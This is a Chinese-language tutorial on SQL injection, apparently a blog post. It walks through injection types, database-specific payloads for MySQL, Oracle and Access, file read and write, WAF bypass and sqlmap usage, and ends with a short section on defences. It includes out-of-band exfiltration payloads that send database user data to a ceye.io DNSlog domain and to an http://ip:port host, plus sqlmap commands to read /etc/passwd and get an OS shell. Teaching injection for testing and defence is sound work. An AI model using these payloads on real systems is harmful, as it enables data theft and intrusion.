SQL注入原理与防范

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观点

什么是 SQL 注入

应用程序在向后台数据库传递 SQL 查询时，如果为攻击者提供了影响该查询的能力，就会引发 SQL 注入。

SQL 注入形成的条件

用户能控制数据的输入
原本要执行的代码，拼接了用户的输入

SQL 注入的分类

注入点类型：数字型、字符型、搜索型
注入点位置：GET 注入、POST 注入、Cookie 注入、XFF 注入、HTTP 头注入
页面有无回显：内联注入、报错注入、堆叠注入、布尔盲注、延时注入、DNSlog 外带、JSON 注入

判断注入漏洞的依据

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行，如果测试语句被执行了，说明存在注入漏洞。

构造 payload 测试语句
提交请求
分析返回结果
符合预期结果则存在 SQL 注入漏洞

一般流程

判断注入点类型
通过排序（order by）判断表的列数
- 原理是 order by 不仅可以通过字段名来排序，也可以通过字段相应位置的数字排序
通过联合查询（union select）判断回显位置
- 原理是 union select 查询的结果互不干扰
在回显的位置上替换查询语句
若无回显则通过 length() 猜测数据库名长度
通过 substr() 猜测数据库名的每一个字符

SQL注入漏洞挖掘方式

内联 SQL 注入

注入一段 SQL 语句后，原来的语句仍会全部执行。
内联注入常用测试语句（数字型）

测试字符串	变种	预期结果
'		触发错误。如果成功，数据库会返回一个错误
value+0	value-0	成功会返回与原请求相同的结果
value*1	value/1	成功会返回与原请求相同的结果
1 or 1=1	1)or(1=1	永真条件。成功会返回表中所有的行
value or 1=2	value)or(1=2	空条件。成功会返回与原请求相同的结果
1 and 1=2	1)and(1=2	永假条件。成功不返回表中任何行
1 or 'ab'='a'+'b'	1)or('ab'=a+'b'	SQL Server 串联’成功会返回与永真条件相同的信息
1 or 'ab'='a''b'	1)or('ab'='a''b'	MySQL 串联’成功会返回与永真条件相同的信息
1 or 'ab'='a'\|\|'b'	1)or('ab'='a'\|\|'b'	Oracle 串联’成功会返回与永真条件相同的信息

其他测试语句

数字型：

and 1=1/and 1=2
or 1=1/or 1=2
+、-、*、/、>、<、<=、>=
1 link 1/1 link 2
1 in(1,2)/1 in(2,3)

字符型：

and '1'='1/and '1'='2
or '1'='1/or '1'='2
+'/+'1、-'0/-'1、>、<、<=、>=
1' link '1/1' link '2
1' in('1')#/'1' in('2')#

搜索型：

x%' or 1=1#

终止式 SQL 注入

攻击者注入一段包含注释符的 SQL 语句，将原来语句的一部分注释，注释掉的部分语句不会被执行。

SQL Server 和 Oracle

-- 用于单行注释
/* */ 用于多行注释

MySQL

-- 或---或--+ 用于单行注释
# 用于单行注释
/* */ 用于多行注释

常见数据库注入

Access

注入猜解过程

猜解表名 and (select)
猜解列名 and (select count(列名) from 表名)>0
猜解字段值长度 and (select len(列名) from 表名 where id=6)>10
ASCII逐字解码法猜解字段值 and (select asc(mid(列名,2,1)) from 表名 where id=6)>96

表名和列名只能猜解，需要强大的字典，一般使用工具完成该过程

MySQL

获取元数据

MySQL5.0及以上版本提供了 information_schema 库，通过它可以访问数据库元数据。

select schema_name from information_schema.schemata limit1
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273

schemata 表：所有数据库信息；tables 表：所有表信息；columns 表：所有列信息

连接字符串

concat()：连接一个或多个字符串
- 格式：concat(str1,str2,...)
- 举例：select concat(user(),0x2c,database());
concat_ws()：第一个参数是其他参数的分隔符
- 格式：concat_ws(separator,str1,str2,...)
- 举例：select concat_ws(0x2c,user(),database());
group_concat()：连接一个组的所有字符串，并以逗号分隔每一条数据
- 举例：select id,group_concat(name) from users;
- 解释：把 name 字段的值打印在一行

内联注入

union
- 联合的意思，即把多次查询的结果合并起来
- 自动去除重复的行，若不想去除，可使用 union all
- 前面的查询语句与后面的查询语句结果互不干扰
必备条件
- 所有查询中必须具有相同的结构，即查询语句的字段数量相同
- 对应列的数据类型可以不同但必须兼容
- 如果为XML数据类型则必须等价
用法举例
- select id,name,passwd from users union select 1,2,3;

Base64 编码注入

解码、构造语句、编码、$id = base64_decode($id)

堆叠注入

多条语句一起执行，即在一条 SQL 语句结束符（;）后面还有其他 SQL 语句。

利用代码：id=1;select load_file('/tmp/t');
注意事项：Oracle 不支持

二阶注入

SQL 注入一般可分为一阶注入（普通注入）和二阶注入。

一阶注入发生在一个 HTTP 请求和响应中，系统对攻击输入立刻反应执行，过程归纳如下：

攻击者在 HTTP 请求中提交恶意 SQL 语句
应用处理恶意输入，使用恶意输入动态构造 SQL 语句
如果攻击实现，在响应中向攻击者返回结构

二阶注入，恶意代码注入到 web 应用中不会立刻执行，而是存储到后端数据库中，在处理请求时，应用检索到数据库中的恶意代码并利用它动态构造 SQL 语句，实现攻击。过程归纳如下：

攻击者在 HTTP 请求中提交恶意代码
将恶意代码存入数据库中
攻击者提交第二个 HTTP 请求
为处理第二个 HTTP 请求，应用检索存储在后端数据库中的恶意代码，动态构造 SQL 语句
若攻击实现，在第二个请求的响应中向攻击者返回结构

举例说明
1. 在注册用户时假设注册的用户名为 admin';#
2. 修改该用户的密码，其中 ' 与前面的引号闭合，; 让 SQL 认为该语句结束，# 让后面的语句成为注释内容

报错注入

通过 extractvalue() 函数报错
- 利用代码：Less-2/?id=1 [and|or] extractvalue(1, concat(0x7e,database()))
- 注意事项：extractvalue() 函数有两个参数，第一个参数为 1 即可，第二个参数是需要查询的数据
通过 updatexml() 函数报错
- 利用代码：Less-2/?id=1 [and|or] updatexml(1,concat(0x7e,database()),1)
- 注意事项：updatexml() 函数有三个参数，第一个和第三个参数写 1 即可，第二个参数是需要查询的数据
通过 floor() 函数报错

rand()：随机数函数，取值范围 0~1； rand(0)：种子数，固定值
floor()：向下取整函数； floor(rand(0)*2))：只会出现两种情况，要么 0，要么 1
count()：计数函数； count(*)：统计总数
group by：分组； x 与 y 都是别名

注意事项
1. 在 MySQL 8.0 版本已失效
2. 查询的表内数据至少 3 条
- 利用代码：Less-2/?id=1 [and|or] (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)y)

布尔盲注

不管输入什么，结果只返回真或假。关键在于通过表达式结果与已知值进行比对判断正确与否。

先获取长度：id=1' and length(database())=5
枚举每一个字符：id=1' and substr(database(),1,1)='s'

length()：返回查询字符串长度；left(str，length)；从左边第一位开始截取指定长度字符串；ord()、ascii()：返回字符的 ASCII 码
substring(str, index, length) 、substr(str, index, length)、mid(str, index, length)：从指定开始位置截取指定长度字符串

延时注入

延时注入通过页面返回的时间来判断，不同的 MySQL 版本延时注入的语法也不同。

MySQL>=5.0 的可以使用 sleep() 进行查询，MySQL<5.0 的可以使用 benchmark() 进行查询。

benchmark() 的用法
- benchmark(查询次数, SQL语句)
- select benchmark(1000, select * from users);
sleep() 的用法
- id=1 and sleep(5)判断是否存在延时注入
- and if(substring(user(),1,4)='root',sleep(5),1)判断当前用户是否为 root 用户
- and if(mid(version(),1,1) like 5,sleep(5),1)判断 MySQL 版本是否为 5 版本
- and if(ascii(substring(database(),1,4))>100,sleep(5),1)猜解数据库名

DNSlog 外带

利用代码：Less-8/?id=1' and load_file(concat('\\\\',hex(user()),'.xxx.ceye.io\\abc'))--+
利用条件：
1. 只适用于 Windows 平台
2. secure_file_priv=''

JSON 注入

应用程序未对提交的 JSON 数据进行验证、过滤，导致修改了 JSON 数据的语义。

利用代码：json={"name":"admin' and 1=2#"}

宽字节注入

GB2312、GBK、BIG5、GB18030、Shift_JIS 等这些都是常说的宽字节，宽字节实际上是两个字节，它带来的安全问题只是吃 ASCII 字符（一字节）的现象

原理
- %df' 被 PHP 转义（开启 GPC、用 addslashes 函数等），单引号被加上反斜杠 \，变成了 %df'，其中\的十六进制是 %5C，导致 %df' 变成了 %df%5c%27，MySQL 会认为它是一个宽字节，有了单引号就可以注入了
利用条件
- 只有 GBK 编码才会生效

文件读写

load_file() 函数读文件操作
- 必备条件：
  - 文件必须在服务器上
  - 关闭魔术引号（magic_quotes_gpc()=OFF）
  - 知道站点物理路径
    - 常见方式：报错显示、遗留文件（phpinfo.php）、配置文件
  - MySQL 用户对文件有读写权限（security_file_priv != NULL）
  - load_file() 函数操作文件的当前目录是 @@datadir（即数据库存储路径）
  - 文件大小必须小于 max_allowed_packet，@@max_allowed_packet 的默认大小是16M，最大为1G
- SQL语句如下：
  - union select 1,load_file('文件路径'),3
  - union select 1,load_file(HEX格式),3
  - union select 1,load_file(char(ASCII码)),3
into outfile 写文件操作
- 必备条件
  - 关闭魔术引号（magic_quotes_gpc()=OFF）
  - 用户有写文件的权限（security_file_priv != NULL）
  - into outfile 不可以覆盖已存在的文件
  - into outfile 必须是最后一个查询
  - 知道站点物理路径
    - 常见方式：报错显示、遗留文件（phpinfo.php）、配置文件
- SQL语句如下：
  - select [文本内容|char(ASCII码)] into outfile 文件绝对路径
  - select 1 into outfile 文件绝对路径 lines terminated by 16进制内容

Oracle

获取元数据

获取数据库版本：select banner from sys.v_$version
获取当前用户名：select user from dual
获取数据库的实例名（SYS 用户）：select instance_name from v_$instance
获取表名：select table_name from user_tables where rownum=1

user_tables：提供当前用户拥有的所有表的信息；user_tab_columns：提供当前用户拥有的表和视图中的所有列的信息；
all_tables：提供所有用户定义的表的信息；all_tab_columns：提供所有用户定义的表和视图中所有列的相关信息

内联注入

基本规则
1. 使用查询语句获取数据时，需要跟上表名，没有表的情况下可以使用 dual。dual 是 Oracle 的虚拟表，用来构成 select 的语法规则，Oracle 保证 dual 里面永远只有一条记录。
2. Oracle 的数据类型是强匹配，所以进行类似 UNION 查询时候必须让对应位置上的数据类型和表中的列的数据一致，也可以用 null 代替某些无法快速猜测出数据类型的位置
利用流程
1. 判断注入点（同 MySQL）
2. 判断列数（同 MySQL）
3. 通过 union 进行查询：union select null, null, null from dual
4. 判断每个字段的数据类型：union select 1, 'str', null from dual
5. 获取数据库表名：union select null, table_name, null from user_tables where rownum=1

报错注入

利用条件
1. and 关键字不可缺
2. 需使用类似 1=(报错语句)，1>(报错语句) 的比较运算符
利用代码
- select ctxsys.drithsx.sn(1, (select user from dual)) from dual
- select ctxsys.ctx_report.token_type((select user from dual), '1') from dual

OBB 外带数据

利用条件：支持 utl_http.request
利用代理：and utl_http.request('http://ip:port/'%7c%7c(select user from dual))=1--

WAF 绕过

双写、大小写、编码、00截断、内联注释、同义替换、换行、HTTP 参数污染、变更请求方式、web 中间件特性、数据库特性

IIS
% 特性：输入 s%elect，WAF 解析的结果可能就是 s%elect，但在 IIS + ASP 下解析出来的是 select
%u 特性：对于 select 中的部分进行 unicode 编码，得到 s%u006c%u0006ect。当 IIS 接收到后会被转换为 select，但WAF 接收到的内容可能还是 s%u006c%u0006ect。
Apache
畸形 method：某些版本在解析不正常请求方式时，会按 Get 方式处理。
畸形 boundary：PHP 对于 boundary 的识别只取逗号前的内容，WAF 解析的时候，有可能获取整个字符串。

SQL 注入的防范

编码阶段：安全编码规范（输入验证、遵循安全 SQL 编码规范）
测试阶段：代码审计、SQL 注入测试等，可手工也可以结合自动工具
部署阶段：数据库安全加固、WEB 应用防火墙、IDS/IPS

安全编码

输入验证
1. 数字型的输入必须是合法的数字
2. 字符型的输入中对 ' 进行特殊处理
3. 验证所有的输入点，包括 GET，POST，Cookie 以及其他 HTTP 头
使用符合规范的数据库访问语句
1. 正确使用静态查询语句

SQL 注入漏洞常见过滤方法

以 PHP 为例

intval、addslashes、mysql_real_escape
mysqli_escape_string、mysqli_real_escape_string、mysqli::escape_string
PDO::quote
参数化查询

通过 SQLMap 进行注入

数据库连接

sqlmap -d DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/<MySQL/Oracle/MSSQL/PgSQL>
sqlmap -d DBMS://<SQLite, Microsoft Access, Firebird>

POST 数据

sqlmap -u <url> --data="id=1"

从文件中加载请求

sqlmap -r <request_from_awvs>

设置 Cookie

sqlmap -u <url> --cookie <cookie>

设置随机 UA

sqlmap -u <url> --random-agent

设置代理

sqlmap --proxy <proxy> -u <url>

设置级别

--level 1 检测 Get 和 Post
--level 2 检测 Cookie
--level 3 检测 UA 和 Referer
--level 4 检测更多
--level 5 检测 HOST 头

设置风险

--risk 1 无害注入
--risk 2 添加大量时间盲注语句
--risk 3 添加 or 类型的布尔盲注，可能会在 update 语句中导致修改数据库

上传/下载

上传：sqlmap -u <url> --file-write <local_file> --file-dest <target_machine_directory>
下载：sqlmap -u <url> --file-read /etc/passwd

RCE（--os-shell）

使用条件：
1. 有写入权限
2. 路径名是默认的
3. 禁用 magic_quotes_gpc

番外

MySQL 权限

权限级别

全局性管理权限：作用于整个 MySQL 实例
数据库级权限：作用于某个指定的数据库上或者所有的数据库上
数据库对象级权限：作用于指定的数据库对象上（表、视图等）或者所有的数据库对象

系统权限表

User 表：存放用户账户信息以及全局级别（所有数据库）权限，决定了来自哪些主机的哪些用户可以访问数据库实例。如果有全局权限则意味着对所有数据库都有此权限
Db 表：存放数据库级别的权限，决定了来自哪些主机的哪些用户可以访问此数据库
Tables_priv 表：存放表级别的权限，决定了来自哪些主机的哪些用户可以访问数据库的这个表
Columns_priv 表：存放列级别的权限，决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
Procs_priv 表：存放存储过程和函数级别的权限

MySQL 权限表的验证流程

从 user 表中的 Host, User, Password 字段中判断连接的 ip、用户名、密码是否存在，存在则通过验证
通过身份认证后，进行权限分配，按照 user，db，tables_priv，columns_priv 的顺序进行验证
检查全局权限表 user，如果 user 中对应的权限为 Y，则此用户对所有数据库的权限都为 Y，将不再检查其他表
若为 N，则到 db 表中检查此用户对应的具体数据库，并得到 db 中为 Y 的权限
若 db 中为 N，则检查 tables_priv 中此数据库对应的具体表，取得表中的权限 Y，以此类推

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什么是 SQL 注入

SQL 注入形成的条件

SQL 注入的分类

判断注入漏洞的依据

一般流程

SQL注 入漏洞挖掘方式

内联 SQL 注入

终止式 SQL 注入

常见数据库注入

Access

注入猜解过程

MySQL

获取元数据

连接字符串

内联注入

Base64 编码注入

堆叠注入

二阶注入

报错注入

布尔盲注

延时注入

DNSlog 外带

JSON 注入

宽字节注入

文件读写

Oracle

获取元数据

内联注入

报错注入

OBB 外带数据

WAF 绕过

SQL 注入的防范

安全编码

SQL 注入漏洞常见过滤方法

通过 SQLMap 进行注入

番外

MySQL 权限

权限级别

系统权限表

MySQL 权限表的验证流程

SQL注入漏洞挖掘方式